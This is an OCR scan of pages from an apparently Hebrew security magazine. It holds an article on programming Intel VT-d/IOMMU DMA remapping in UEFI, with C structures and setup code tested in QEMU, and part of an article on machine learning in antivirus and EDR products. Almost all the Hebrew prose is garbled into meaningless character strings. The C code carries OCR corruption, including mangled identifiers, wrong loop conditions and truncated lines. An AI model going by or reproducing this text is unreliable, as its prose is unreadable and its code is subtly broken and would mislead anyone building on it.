PML4 table SL-PML4E | Extended-

Context-entry)

Second-level SL-PDPE SL-PML4E! 38:30 1-GByte page (if Page Size (PS) field is Set)
Page-directory-
pointer table

Second-level SL-PDE SL-PDPE 29:21 2-MByte page (if Page-Size (PS) field is Set)
Page directory

Second-level SL-PTE SL-PDE 20:12 4-KByte page

Page table

1. For implementations supporting only 3-level paging structures for second-level translation, there is no SL-PML4E,
and the physical address to locate the SL-PDPE is provided by the context-entry (or extended-context-entry).

[https://www.intel.com/ :1jmn]

12 XN NT 271201 707 119 D' X NINT N*oN'! NIX720N IOMMU-2

Dev=31:Func=7 » R
—>» :
»
h L
Second-Level Page Table
Structures for Domain A
Dev=0:Func=0
»
Bus = 255 Context Table for
Bus N
Bus=N
Dev=31:Func=7
Bus=0 —
Root Table
>
~ Dev=0:Func=0 -
Context Table for »
Bus 0 Second-Level Page Table

Structures for Domain B

Figure 3-7. Device to Domain Mapping Structures in Legacy Mode

[https://www.intel.com/ :1jpmn]

201 yraxn W' pn NKRY L(V'avnn IR DNNRNA TYD AKX |WNN1) Root Table-7 y'avn o' n'7'nn
n1 200 7w nniwn 90 L(func-l slot YW qiy) 21 7D 1Ay nniwn n7'nY 0107 'amvy bus

J7W nnn nixavn IR vany
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Root -7 y'a¥n nirn? 215 371,071 '"MNdTAW 93 0tbus 7W NIXIAR Nnd NIFN? 0'21'w |*X7 a1wn

.(Domain) Segment 727 Table

?]1221n0 DY D'PYNNNN TXOI

:DAIYN D'WAT Y [NK YNINN XN N2Y NNIXNIE RN 7¢ 1000 2700 1N 7R 217¥w 197

XU Y intel 7w 0711007 ONYNIK X .D'TAYN 10 |2 NINYN (122100 7Y DIYYD L, N'WRD
21V97 DN DI ANXTYIRIOYIN (1221202 770 KD (22NN D0'DN W' D'N'YY? VT-d XIin (NIxIoNal)
D'X7 WNWwY1 770 TIRIOY R DY RPNNYT 710 YUK TI9] 11211 7V 11T 02T )2 K7 AR TNy

.0"11AN

("viIOMMU") Dn7¥ (1202 WnNWX P71 ,QEMU |"TY X' wnNwn "X N NIP'Tan D220 NIy

:0N QEMU-7 'Mo0Inw 072N .MI17R0N 122120 IR NINT? MINkY

-machine g35,accel=kvm, kernel-irgchip=split -device intel-

iommu, intremap=on

D'NIN DNX .2V192 IOMMU X1jaw DOZN NI TX'D 110'W |"MIynnl 'upIon 7700 DX 7'NNK DY)

Intel 7¥ TIV'NA X'N NAIWNNY |AMDI1,NATIONI NVAION DN NIXA VTNN 72 NX XIXNY [N TXD

00I2NY D'IoN Yinm nd7 'Mnd'o |3'7I ﬁN'WP'? D'VIYD X7 D'TINY NINN NND 7V NaImy |'n1n'7 N1

.D'MAI02 719N 190N 7Y |I'¥ T 72V TIVIMA D'77N"7 DONIN N19K 90111, HellolommuPkg L'NON 7y

(8.1) ACPI-n nIX720 WXWD 7'NnNN 07w n1ann ."DMAR" nwa nnX ACPI n'2aun 7'nnn 200 [XD Dal

1179 IOMMU-D N'XIIA'91 IN DN P 'an? 7212 DN D' AN 7W 1vn D' N9I01 X

:NQN NI2NN DX ' DN7'NNAY DRIY D'OP"AINA ' YNN

typedef struct {
WORD Type;

WORD Length;
} attribute  ((packed)) ACPI DMAR STRUCTURE HEADER;

NIN INIX "MY'Y 0 IR .Length '97 DN 27721 Type ' 7V DN 7'Tan7 17 YWOXN mann

(MMIO 7y "aITn) nnzimn A'XIIA'AI7N D' 'IXN 1AW (8.3) DRHD nwa uji7'MiIx
i i’ | | ]
:0N DRHD-N 1INIX D191 |ND'TN 2NN JINN P'NyIY 0DDIyN

JPoITR AN DEMN P e

(QwnnaanIx) N7 Wy Capabilities-n - o
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12 XN MIKMY 70NN DK VYanw Tizn

UINT64 endOfDmar;
ACPI_DMAR_STRUCTURE_HEADER* dmarHeader;
UINT64 discoveredUnitCount;

discoveredUnitCount = 0;
endOfDmar = (UINT64)DmarTable + DmarTable->Header.Length;
dmarHeader = ( ACPI DMAR STRUCTURE HEADER*) (DmarTable + 1);

while ((UINT64)dmarHeader < endOfDmar)
{ if (dmarHeader->Type == ACPI DMAR TYPE DRHD)
{ if (discoveredUnitCount < MaxDmarUnitCount)
{ ACPI DMAR DRHD HEADER* dmarUnit;

dmarUnit = ( ACPI DMAR DRHD HEADER*)dmarHeader;
DmarUnits[discoveredUnitCount] .RegisterBaseVa = dmarUnit->RegisterBaseAddress;
DmarUnits[discoveredUnitCount] .Capability.Uint64 =
* (UINT64*) (DmarUnits[discoveredUnitCount] .RegisterBaseVa + R CAP REG) ;
DmarUnits[discoveredUnitCount] .ExtendedCapability.Uint64 =
* (UINT64*) (DmarUnits[discoveredUnitCount] .RegisterBaseVa + R ECAP REG);
}
discoveredUnitCount++;
}
dmarHeader = ( ACPI DMAR STRUCTURE HEADERY)
((UINT64)dmarHeader + dmarHeader->Length);

TPA WNnnY 117 NIXININ NIRTAN DX Y¥A7 7510 n1annn 117 yinln yT'an DX NX7'NY NR?

39- 7IXA NN YRIN vVIOMMU-NY 7722 .48-bit T1IX2 NIAIMDA 71 NN AN "7V 'MO0ANNY

capabilities-n MY ?]122100 JAIN NAND 7¢ IN AT'RA M7 'R .ORNNA TIRN IR MW bit

:nrxn1nn5wru1nn.01ﬁ7n90Nw

ND:3;
AFL:1;
RWBF:1;
PLMR:1;
PHMR:1;
CM:1;

SAGAW:5;
Rsvd 13:3;

MGAW: 6;
ZLR:1;
Rsvd 23:1;

FRO:10;
SLLPS:4;
Rsvd 38:1;
PSI:1;

NFR:8;

MAMV: 6;
DWD:1;
DRD:1;
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BYTE FL1GP:1;
BYTE Rsvd 57:2;
BYTE PI:1;
BYTE Rsvd 60:4;
} Bits;
UINTo64 Uint64;
} attribute  ((packed)) VTD CAP REG;

:SAGAW rjv flag-n 197 X'n 'Myxaw nprmanl

Bits Access Default Field Description

This 5-bit field indicates the supported adjusted
guest address widths (which in turn represents
the levels of page-table walks for the 4KB base
page size) supported by the hardware
implementation.

A value of 1 in any of these bits indicates the
corresponding adjusted guest address width is
supported. The adjusted guest address widths

SAGAW: Supported corresponding to various bit pasitions within this

12:8 RO X Adjusted Guest f'eld;rE: 4
Address Widths * 0: Reserve

e 1: 39-bit AGAW (3-level page-table)
: 48-bit AGAW (4-level page-table)
: Reserved
: Reserved

B wN

Software must ensure that the adjusted guest
address width used to set up the page tables is
one of the supported guest address widths
reported in this field.

if ((DmarUnits[i].Capability.Bits.SAGAW & (1 << 1))

{
Print ( , 1, DmarUnits[i].Capability.Bits.SAGAW) ;
Print (

i,
DmarUnits[i] .Capability.Uint64) ;
return STATUS_FAILURE;

:0N2 ND'ANN NX DA PITAX 2MB 77122 0'9T2 D2 WNNWnY |'"IVN XY [11'ON

This field indicates the large page sizes
supported by hardware.

A value of 1 in any of these bits indicates the
corresponding large-page size is supported. The
large-page sizes corresponding to various bit
positions within this field are:

SLLPS: Second Level e 0: 21-bit offset to page frame (2MB)
Large Page Support e 1: 30-bit offset to page frame (1GB)
e 2: Reserved
e 3: Reserved

37:34 RO X

Hardware implementations supporting a specific
large-page size must support all smaller large-
page sizes. i.e., only valid values for this field
are 0000b, 0001b, 0011b.

[ [bttps://www.intel.com/ :11pn]
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((DmarUnits[i] .Capability.Bits.SLLPS & (1 << 0)

Print (
return STATUS FAILURE;

0N DN YNNWIY 012NN .NIX7200 DX TANYT 701 Ny

typedef
{
UINT32 Present:1;
UINT32 Reserved 1:11;
UINT64 ContextTablePointer: 52;
UINT64 Reserved 64;
Bits;
{
UINT64 Uint64Lo;
UINT64 Uint64Hi;
Uintl128;
} _ attribute  ((packed)) VTD ROOT ENTRY;

typedef {
{
UINT32 Present:1;
UINT32 FaultProcessingDisable:1;
UINT32 TranslationType:2;
UINT32 Reserved 4:8;
UINT64 SecondLevelPageTranslationPointer:
UINT32 AddressWidth:3;
UINT32 Ignored 67:4;
UINT32 Reserved_71:1;
UINT32 DomainIdentifier:16;
UINT32 Reserved 88:8;
UINT32 Reserved 96:32;
Bits;
{
UINT64 Uint64dLo;
UINT64 Uint64Hi;
Uintl128;
} attribute  ((packed)) VTD CONTEXT ENTRY;

typedef {
{
UINT32 Read:1;
UINT32 Write:1l;
UINT32 Execute:1l;
UINT32 ExtendedMemoryType:3;
UINT32 IgnorePAT:1;
UINT32 PageSize:1l;
UINT32 Ignored 8:3;
UINT32 Snoop:1l;
UINT64 Address: 40;
UINT32 Ignored 52:10;
UINT32 TransientMapping:1;
UINT32 Ignored 63:1;
} Bits;
UINT64 Uint64;
} _ attribute  ((packed)) VTD SECOND LEVEL PAGING ENTRY;

typedef _DMAR TRANSLATIONS

{
VTD ROOT ENTRY RootTable[256];

PClov D101 0'pnwn
www.DigitalWhisper.co.il

2022 'oOx ,138 |12




Technologic

VTD CONTEXT ENTRY ContextTable[256];
VTD_SECOND_LEVEL PAGING ENTRY pdpe[512];

VTD SECOND LEVEL PAGING ENTRY pde[512][512];
attribute  ((packed)) DMAR TRANSLATIONS;

'NINKY TIPN YO DX XX N .(RootTable->Context->Table) n'>'nn '97 DN Dann nwiy

NINTALVN 7W N1ANN DR 291777

(DMAR TRANSLATIONS* Translations)

VTD ROOT ENTRY defaultRootValue;

VTD CONTEXT ENTRY defaultContextValue;
VTD SECOND LEVEL PAGING ENTRY* pde;
VTD_SECOND LEVEL PAGING ENTRY* pd;
UINT64 pml4Index;

UINT64 destinationPa;

ASSERT ( ( (UINT64) Translations % PAGE SIZE) == 0);

defaultRootValue.Uint128.Uint64Hi = defaultRootValue.Uintl128.Uint64Lo = 0;
defaultRootValue.Bits.ContextTablePointer = (UINT64)Translations—->ContextTable >> 12;
defaultRootValue.Bits.Present = TRUE;
for (UINT64 bus = 0; bus < 256; bus++)
{

Translations->RootTable [bus] = defaultRootValue;

}

defaultContextValue.Uint128.Uint64Hi = defaultContextValue.Uintl28.Uint64Lo =
defaultContextValue.Bits.DomainIdentifier = 1;
defaultContextValue.Bits.AddressWidth = 1;
defaultContextValue.Bits.SecondLevelPageTranslationPointer = (UINT64)Translations->pdpe >>
defaultContextValue.Bits.Present = TRUE;
for (UINT64 i = 0; 1 < 256; i++)
{

Translations->ContextTable[i] = defaultContextValue;
}

destinationPa = 0;

for (UINT64 pdptIndex = 0; pdptIndex < 512; pdptIndex++)
{
pde = Translations->pde[pdptIndex];
Translations->pdpe [pdptIndex] .Uint64 = (UINT64)pde;
Translations->pdpe [pdptIndex] .Bits.Read = TRUE;
Translations->pdpe [pdptIndex] .Bits.Write = TRUE;

for (UINT64 pdIndex = 0; pdIndex < 512; pdIndex++)
{

pde [pdIndex] .Uint64 = destinationPa;

pde [pdIndex] .Bits.Read = TRUE;

pde [pdIndex] .Bits.Write = TRUE;

pde [pdIndex] .Bits.PageSize = TRUE;

if ((destinationPa <= 0x9fb00) && ((destinationPa + LARGE PAGE SIZE) >= 0x9fb00))
{
pde [pdIndex] .Bits.Read = FALSE;

}
destinationPa += LARGE PAGE SIZE;

}
return STATUS SUCCESS;
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:DY'N TIPNY D2A7WUN DR 120N

2vw X0 naron .ContextEntry 7w n720 NNIX 7N 1v12¥' 19¢ NI DY 1 RootTable-n w1
.NT YIN'MNIa 0'2DIN 707 NINTAL ININQ WNNW LWDY Nan

v DN MIWKRIN 07207 yRaxn nnivan .n7aon 727 17w il TNk ContextEntry 'yt .2
191 NIN7ALN

0011 .N7 NN'RNNY N'T'9N NAINDY NIY AN NYIRI0NT NUMOY X'7 ,1-1 19M DX nyd .3
NININ NIXYINN DA NRYI¥A 0'9TN Y n1anaw 1% 0'w7 N1 .2MB 7712 0'9Ta wnnea
,DMA-7 X7 NIXWAN K77 ' 0x9fb00 NaImdn 7w qTnw |uR 'I'YW 'MD0IN .(NXN/Na'MD)

AYUNN A'XXY NNATNN X'N N2d'on

172000 NI 7'YON7 1 KINIRWIY N, 91017

_VTD_ROOT TABLE ADDRESS REGISTER

UINT64 Reserved 1 : 10;
UINT64 TranslationTableMode
UINT64 RootTable : 52;
} Bits;
UINT64 AsUInto64;
} VTD ROOT TABLE ADDRESS REGISTER;

OOT_ TABLE ADDR

rootTableAddressReg.AsUInt64 8
rootTableAddressReg.Bits.RootTable = (UINT64)Translations->RootTable >> 12;

= rootTableAddressReg.AsUInt64;
B_GMCD_REG_SRTP;

64*) (dmarUnits[0] .RegisterBaseVa + R RTADDR REG)
2*) (dmarUnits[0] .RegisterBaseVa + R GCMD REG) =

(* (UINT32*) (dmarUnits[0] .Regi: ~BaseV R_GSTS REG) & B GSTS REG RTPS) == 0;

N7200 P Y7 'ROINKRY (JN2'TA AR Q1Y) DAIRD N 78 10NY NINTA0N 7w nnwin y¥al n7'Nn

.Status-n 7V 'NOINKW A2 DD TIVENA7WIN N71V9NW TV 'MN] |21 TNKY7 .D1IAN
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:N2N TIV'NN 7V 001N A71von Yw winmn

Bits Access Default Field Description

Software sets this field to set/update the root-table
pointer used by hardware. The root-table pointer is
specified through the Root Table Address
(RTADDR_REG) register.

Hardware reports the status of the 'Set Root Table
Pointer’ operation through the RTPS field in the
Global Status register.

The "Set Root Table Pointer’ operation must be
performed before enabling or re-enabling (after
disabling) DMA remapping through the TE field.

After a 'Set Root Table Pointer’ operation, software
SRTP: Set Root must globally invalidate the context-cache and then
30 wo 0 Table Pointer globally invalidate the IOTLB. This is required to
ensure hardware uses only the remapping
structures referenced by the new root-table pointer,
and not stale cached entries.

While DMA remapping is active, software may
update the root table pointer through this field.
However, to ensure valid in-flight DMA requests are
deterministically remapped, software must ensure
that the structures referenced by the new root table
pointer are programmed to provide the same
remapping results as the structures referenced by
the previous root-table pointer.

Clearing this bit has no effect. The value returned on
a read of this field is undefined.

[https://www.intel.com/ :11jpn]

.DY 72MN0nY7 172N ,'M9V'YY LP'NDA DZINN NINT Y¥INW TIPn ,cache-n NN [3W17 W' DR INKY

1710 [172100 DX 7'YONY Tipn 0d7In|

* (UINT32*) (dmarUnits[0] .RegisterBaseVa + R GCMD REG) = B GMCD REG TE;
for (; (*(UINT32*) (dmarUnits[0].RegisterBaseVa + R GSTS REG) & B GSTS REG TE)
0;)

{
}

IR NIYY7 ' Segments-n 72 7% oN"Nin%? 7'awa .IwxIN DRHD-n 112y 11100 NX 17590 In71iyn

DTN 72 11y 71V nnix
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nnNaTN

NITI1 2 TR .EDU-7 |27 0TI N2NOW 12T WNnwa .N71¥92 [112110 DX NIKYT7 N01 1'WOyI
NN

.0x9fb00 N'T'ON NAIMD7 AN KIP'Y NI 2ADIN 7V Y'OUN AT @

NN 7NY 17 AN NIKWAN NDWNA 0'ADIN 727 nnon nnu'y IOMMU-N N'X¥1oli e

.0x9fb00 NaINdN

:N2N 0790 X QEMU-1 7272 12'TN DK Y2 UKD, NWdI

qemu-system-x86_64: vtd_iova_to_slpte: detected slpte permission error (iova=0x9fbeo, level=0x2, slpte=0x82, write=0)
qemu-system-x86_64: Interrupt Mask set, irq is not generated

qemu-system-x86_64: vtd_iommu_translate: detected translation failure (dev=00:03:00, ilova=0x9fboeo)

2w 77wn) 00:03:00 2'NW NIRNNA KRN “translation failure” nivyxnw nyTIN% 27 0'W7 1N N2

.N7w21 n71won1 0x9fb00 Naimd2a (write=0) NX™M N7IV9 Yy¥27 n01 (edu-n

INN7¥N2 DUNON D719, qT7 IRMPZ NIKYIN 217 [N DRY 2D

nid'o

N7 TY) NN'R NPYNANn n7uonn nd>yn T¥D1 PCI-N NMAI7100 DX D27 'Maxn nRnn 17nna
IOMMU N"¥11a'9117 'R 0T RNAIT? ,NIRT NfA17100 7¢ NIR'wNN DR w2ATA? 7 2wn .(0*1an
NN97 N715'N ,7)27 12YN NTIRIVYT NIFMYN [207 221 [N2'TAN NN'Y' XNP7/2imd% 01715 0'ann

.011aN1 0'2Y NNVAKRI NNIN 'V INS] Y107 n712' nnin ana? nn'we

"y Ny

INX7 'MION N9 MIXMY RYIIN IR 210N DINNA NN NIY WX 0D 22 2 IR L,2'01p DN 'y
IOMMU-N 7¢ DaIwN 7D 220 0171007 'MOYN 1D70N2Y DNTIRI0YIN DINNY 'N'YYY 7NN
QY7 NN'WI RN DR MDD LPYE.DNNKR NI NN20MI NTYINN NIND X' NN DIYNY
D"10n 071Y7 01>'n7 070N NX DN NNYLL(WIRY (A1) (AT [N DN2Y N2AIT 0'NN9NIE 0NPING 10Ny

.2 P'yn? 0'Y1 NINS DYDY

7'M "IN 119NY NNWK TARNAN 7V D'00IAN TUX D'UR'INDY7 NIV IX NINYIoON NIPRY W' NT'Na

matank001@gmail.com :"7w "W'RN
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https://docs.oracle.com/cd/E19683-01/806-5222/hwovr-22/

https://wiki.gemu.org/Features/Q35

https://github.com/gemu/gemu/blob/master/docs/specs/edu.txt

https://github.com/tandasat/HellolommuPkg

https://lettieri.iet.unipi.it/virtualization/vt-directed-io-spec.pdf

https://projectacrn.github.io/2.1/developer-guides/hld/hv-dev-passthrough.html

https://www.geeksforgeeks.org/multilevel-paging-in-operating-system/

https://wiki.osdev.org

https://docs.kernel.org/PCl/pci.html

https://standa-note.blogspot.com/2020/05/introductory-study-of-iommu-vt-d-and.html

https://www.digitalwhisper.co.il/files/Zines/0x7C/DW124-1-NativeHyperVisoer.pdf
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2 77N - NIN'YNI 9] 1210 NIANI NMNIDX'M N1

N ARy Y"T NRN

aNTN

7¥ NIV'Y 110N NN D71IYY7 IR DXPR TV NXPON 'R 20 71T 9N NI NINNRD 02
.09 (Machine Learning - ML) nadn N7 9932 (Artificial Intelligence - Al) n'npx7n N1
DIT'??7 NMIDN NTN72 NINTENA NIV 7Y 7X¥I0I9N DX 7n1YY7 [INQ7 NOIX IT DINAXKA NNTo2

210N N2AN DINNA DRIY DY 7¢ 'Miynun

7¥ AXNN AN NN ANIK NRI7NA VIFIN "IX 020N NAAN 'KW1 DX 27707 NI0'Y 1900 NNy
NN 'RWII DX 770R1 P10 ARY (Center for Security and Emerging Technology 7w 1ix'j7) CSET
LNIYYIRNNLE NARN N7V 0101 Mg joINt NI2IM NIV NINIAR YVAIX? DN PIOYRY 12M'0N

J'OEN Nanl

DN NTNY7 7Y NMYOXRN NNINNA POYY XNAIT? [I'T 'MAXNI |1 TN NNA0N NIX 'MITAN [IWRIN INKRNA
DI'T "W J'YUNK 'N2INN INKNA NDWNN 7¢ [oINNT NIDINN 27w 21vn 2D ,NNTTN NIprmY
770> EDR-1 AV MxIn 'T' 7y D'waI19 MNK? Mdn NTN7 9 702 1A 7'nNa .0'901n 0Mv1o
NI2MN 7Y 7Y 0'9011 0'A'X1 ,NVAIRNA TI? 7¥ N2 NIV DMIY' 1T 91 INKYT 110N )'7NNN

Joinnl

(Malwares) DnyaIo N NAIVY? MPN NT'NY

212V NIRRT NYA701R 7Y NMI00TNN DR 0710 CSET 7w Anknn fanid S MY 0TIZN 1NKNa
NN AV ninan .(Anti-Virus) AV "xin 7¢ 07702 Dysn 7'NN1 .02"0 NN 7W DIV DIV QI
Mpn NTN7 Myt pn? A7nn IBM nnan 1996 miwn 7nn .nnTign aRnn 7w 80-n Niw 9i01
NP2 T qIpY? INIY 12'20 DYAID 'NN9N DT DTRIN 272 12OW |10 NIRT .0YAID 1IN'K NAI0Y

.00 T N'UNND AV-N NN IUN'YY NIN'NNN 111211 DX

1270 - NIN'XAIL 9D 210 NN NMIDND N2
www.DigitalWhisper.co.il
46 2022 'oOx ,138 |12



https://sites.google.com/view/jacobrimer/
https://cset.georgetown.edu/
https://cset.georgetown.edu/
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf

Technologic

qX"71 (DT'ONIMUN IR DT'OIN'YTID NIIDN) [VAIDN W TIPN DX VYN NIYT? RIN NIYY7 1XYW nn 7D
DN'7Y LI7W DRIZIARD )'7NND 0MINAY NINIRD 0N 7Y DT0IRNINYT NNIT T L19W DAY DT0IRNI
.01"0'02N NIN'MNN 111211 NI7'Y' X WA'Y DRIY D'0IRNI 7W 11X .NINNKT? N2YN D'YNIY 1NIX

D2V T DY PR 0T 0'X1y7 1 wonN?7 0'7a10n I'N DNY [1' 2N NXT

NIdN NTN7 7w NNIY NIV'Y D NTH DINNA 0'2'ANN 2¥N DX TIXA 197 MIIMK N1IDN NT'N7 ,NNINDY
W NIYURIN NN LTI WYY 1'WN NINNY ,01Y219] NIYIAR NRWIY NINAN 7Y 107 NINANN
1IwYn 170N (Bootkits) D'U'PVIA NINT? NIC17 1O DN NINYIA WNANWN? no1 IBM n1an
NT'NY NIV'YA YIN'W2 DYAID NINT? 17NN NIIF0*Y7 1910XN 0'9011 D'NNIA 2000-N NNY 7Y [IWRIN
"NN'DN NN Wnnwn'? NIIfeYA 0DINK DN 2D DR 1910¥N [INNKRD 1IYYAL .NI901 NIdN

DIy 0T - N0 071y Y nndnn

NTNY7 'MIvAYN NN W' AT WRNnaY 101 X7,CSET 'War 7w NINDON 170 N0 7V NINS7 , ARk N T

ANI NI NN nTN7NIv'w 19 v npemy

D'97INNY 72> .AV-n "X ¢ DNTwN Ty DX (2022) DI DA DUINN NIMNN 11211 ,00]
¢ NIAdINA N'NIvAwN 7Y %YW NN DIXT N DTMONINN 1YY NINMMNN 112200 D2 ,N9NWN
YaIzn 7w nn'nn wonY Dizna ,NNK 720 72V WA KINY [T XN (AT 'AXWNAT NINMNN (1220

NI'NRNINN NINAN W NIR'NN IR Raln v D'|7'7I'l 7Y NIM'MN 0'YUsNNn 0'TINN D2122200 17D

JANYT [DINA INLI7W API-D NINMIP 7W NN YT 7Y 700 ,'000 91X OX [ .(AWIY [YaIon nn) 19Y

.Sandbox-2 win'wa 7wnY

AN YIN'Y |"TY ' ,011R 25 12D 22N DA 1IN'R na1v? ML 7w NNy nnn? ,12 DR VITN
D71V2 MdN NTN7 NN win'va D"YpPN NX ?2'nyn |9IX2a nm® DI7NN AT ?NIN'MN 210202
N"Y2 N'N 09 DWAIDN N'R D71VAI 7751 120N NAAN D7IY2 NIFTOINN NI'YAN NNX NMRN

.False Positive - N'yi¥pnn N5WA IX ,XIIYN NIYINN

DN NTN7 'MMNMIAZR .DNY DNV VNN NIR'NN 7Y 210NN DY RN NIIIR NDIWNA YIS 7Y 171

72'72 XNP'7 DINATIN YITN VIYD 12002 D*IIYNN .NNY NNIYA VNN 7Y NI'YYA INDY TINA D'YUPNN

JPIN-NT2 'NNOoNSY NN

Cylance n1an .2019 NMiwn NNONISN NUITPIX NIYXNKI N'YAN DX 0'wnnn CSET 7w nknn anin
qQIpY? TIXA NOIYS 0T NN7'A 027 DPXRN NXIAR X DDA DTN7 001an AV XN 1aya npili'y
.Rocket League DONI9NN 7NWNN 1NN 5MB-3 7 1IN YO [VAI97 9'0IN7 N'D )XY NN 7D LNIX
NT'NY 7TMY (110N N NTY XD DIYYNN . YAI9N IR DT AV-n 0Mpninn 90%-1 ,n1D npna

(XY niyann=) D1YaI9d aUNn 'PNYn 150n Niyvl Nn'T NNN'S NN2ANNY N1IdNN

170 - NIN'XAIL 9D 1210 NN NMIAND N12
www.DigitalWhisper.co.il
47 2022 'oOx ,138 |12



https://www.themarker.com/techblogs/misterdata/BLOG-1.6264576
https://www.themarker.com/techblogs/misterdata/BLOG-1.6264576
https://www.themarker.com/techblogs/misterdata/BLOG-1.6808559
https://www.themarker.com/techblogs/misterdata/BLOG-1.5910373
https://www.themarker.com/techblogs/misterdata/BLOG-1.5910373
https://www.themarker.com/techblogs/misterdata/BLOG-1.5995965
https://www.themarker.com/techblogs/misterdata/BLOG-1.5995965

Technologic

white-) N12%7 NN'wA? T2 yaipn Y TN TR DR INQY Y 201 n9'oIn Cylance ;027 mvnd

.n'pnwn wap v (list

2V "7 aTn"? NN NIYWY7 XY nn 7 PYLIWRIN TN Y nprosn 7Y NNaa awn [1mamn no7nn
NIDW7? JI0KY D2Y'¥N DANDN AR T .A7W0 DY XN NIDE,AYNN PRwn JIMn 2NN [Yaioen
2v) D'wTN N9'PN 'nuwn 0'o'oinw (Adversarial Al) Dn7wn Nian NI DA W' ML MDY

.(Mnxoysa

NIY' 78D D197 ON'NNYT NXID1 NIVVY IT ,NNY NNV VNN N*AI0] NAITAY )27 12YnY O'oIX IR

,NANAIT? .'01707 NDI9N NNIXA D'ANINN D'MYD7W ,01VA19 7¢ DIIY D10 VITD W' .NNXK NAmMiIn
2172 [nvan 2y 11D (Ransomwares) NINSID Ty ,|NN 720 D'RXWUN NI'NT7 19XY! (Trojans) DM"0V0OIO

JINNX NIRNAIT DA 2D W' .DAIXI 2T Wy

,NIMANINN 7Y (NNT D'MYDY71) NRIY NIXIAR INKRT X 2TAN Y700 N1AN0N NXIAPZA Ay (1o
AWONT NIZI>' I'R LIYD AV-N NINAN N7 .ANXY 7uUn RIY NIYINN 101N NXIAR 757¢ MIRY Nn
NINEN 07w NiNEY?7 DoS-7 ,|n'T 1N ,7V191 0MAY1 RIW NIYINN 7w 071Ta D 7D nimd nyy?

AV-n XN NX TN N'o! VIYS

IR NNyN AV-N 1NN ,NIYY ATA .01YAIS M7 11ay MLApnn? TNy 'RY yiap7 1770 0naT 'R
NYSINN DY 7'NNN DT .0N7W DY 7K (72mi PC [120) nxpn NINNN [07Y NIV'WN 7w TadN 10
Endpoint Detection and ) 0*-EDR-n 7w MIwan Dy NIINNKRN DWW NXIRD N2IXI Cloud AV 7w piwa
Y' . MIYNYUN AIY'N NI N90INA 71 NI X7 N1 'R ML znn 1woRn 2v7 1avnn .(Response
D2 NINIFZ7A NY2NY N2NT NINN (Y2 N727n AV-n NNANY DTN DXV ,N'WUKRY .NIA'0 1900 DY

I0'WUN WINTD NIX TIRA 19WY1 VTN 275807 "worn

NN TY0UN7 72 ,LPY 91N N'PNN DR P'ynY (179 NYwn N'Nana) 71>' EDR agent-n ,qona
[VAI9N NIX IXVYT [N DTN 27¢2 . YAID NN'KR 72V IRTEN07NN 722' [N DAY NTIT TV ,wnnwunin
NITIX 2017 Nwn VSDIONP™M NNAN 7W DIOT9N NX XKNAIT? IXY .0INKRN EDR-N NINNRY 72 72¥X N

.Detonating a bad rabbit

NN2ANA 72 N9 NI9PNNT NN'R [TV DIVAIDN I'YIYYT [IDIW WWI NITINT 1Y QW T¥n 72X
NINS71 "nn DN yNY" Dne o nrndn ML NIy 'R P70 XY DY PN NSl

S'DIpnaaRe?”

AN XN IX MDA NTN7 NAI7I00 1AV ANZ¥N DTN NIV'Y 7 N'AI02 DA 'NyA1 DTIPN 1AXN
XY 7V 1207 NIXNY NN2N NI2Y DMYS1 7701 775 NUIYS N'AI0 NI'K NINTY 'MIYL .0''9'¥90 11''0

D"'0'02N NIANN XINN TNX? AWNIY AV 11aY 17'9X D ,'MaY TIv ."D'7'D Ta1 nzax" widn? nix7xa

1270 - NIN'XAIL 9D 210 NN NMIDND N2
www.DigitalWhisper.co.il
48 2022 'oOx ,138 |12



https://www.themarker.com/blogs/misterdata/BLOG-1.8955328
https://www.themarker.com/techblogs/misterdata/BLOG-1.5910373
https://www.microsoft.com/security/blog/2017/12/11/detonating-a-bad-rabbit-windows-defender-antivirus-and-layered-machine-learning-defenses/
https://www.microsoft.com/security/blog/2017/12/11/detonating-a-bad-rabbit-windows-defender-antivirus-and-layered-machine-learning-defenses/
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.themarker.com/techblogs/misterdata/BLOG-1.5995965

Technologic

NN YYD .WITA 1'a0nY At Yan NWIER Np'Ta 1A% DUNIVAYA DNANK DMYP N

.1T2IW Malware-n 'a10 NX 210 |]3]'\'7 YITI ,N'YURY .0"MITT O'Xp 7w AN WO npe'1an

QIONI DN, TNN T¥N ?DNIN X' [2'N01 .M TN DAY 'IDINNDID N0 010 ,NYTIN 7W NIANINN ,NINND
¢ D'0IXNILI'N' DN D' [12'0 W' ,DNINNXRD DA Virus Total-? 17wing "Drmo" ominT oivap

1" T2 V21D NI

2 Um'nn yNn 7¢ NINNSNN Q¥ W T¥N .0'IKK 77U 2N 2'90N [I1an 9PN X7 17W np'Tan
NN R IR MWD 197 N1 D'ONY NANA LTIRN 1N KN (D'YAI9N NUXIZIAR) [AN7 qRINn

112N NA'YN D'YATI AIY S0 17'oon

False) XIIWN NIYVINN NIND NX 2ITA7 "1 D'MMN D'¥AP 7W JaRN DA 9I0K7 1XYW NIDWYT 10N
N2 |2'NN1 .09 7W 17'AN NID'R AWK 2IWN NIND X7 10119 N7 ,7'W'7 KD XN 7w (Positive
K77 ,7T%7 Xan on "nimmn" NINNAIT 9I0K7 X' URYT 1O 7W NNDW NIYO 20N 0'¥ap Na0n
"W A 07NN DN L"N2M0A" DAYNN NNON XN YA 9I0X] 7wn? OX ND7wNn 7V na'wn

(NNIT1 091X NIDIN ,Windows N72V9nn NdVN '¥ap) VOIONZ''M NNANYT XNAIT?

7va "ommn" D'’ 7Y DN 7R ,NINNRD N9IPNA DY NTAINY 0¥ 9I0XKa1 VT-7 11Tl DNI
AV 7¢ NID'R INQ7 DRIDNN INIXR NN 2007 NI 2V 17 K7 TV VT-2 AV-R XMy nTaivn

NNV NYY 1782 79101 72X ,0'9011 DNANK TIV W' .0NNK D'-AV 7¥ D'VINTA |10 7V, TN

NOUAIRN TIZ NA'ND NAIV? MmN NT'NY

NNWYOKR DXNXY? IX YIINYT NI017 'IXY T'AN .[OINI NIIN XIN N'YFZOX 120 N1ANA [IYXIN 2A7Wn
AT NVAIRN TIZ NN KIN DN TAKRI[OINI NIINY D'VAN 190N W' .ANNK 917 WX ,N9'NY
1727 '¥nIvIka PIoyx Jwnim L(© jamd 7w Tipn X7) NIYTIinE Dk 7on Tip 7D oynd Ly
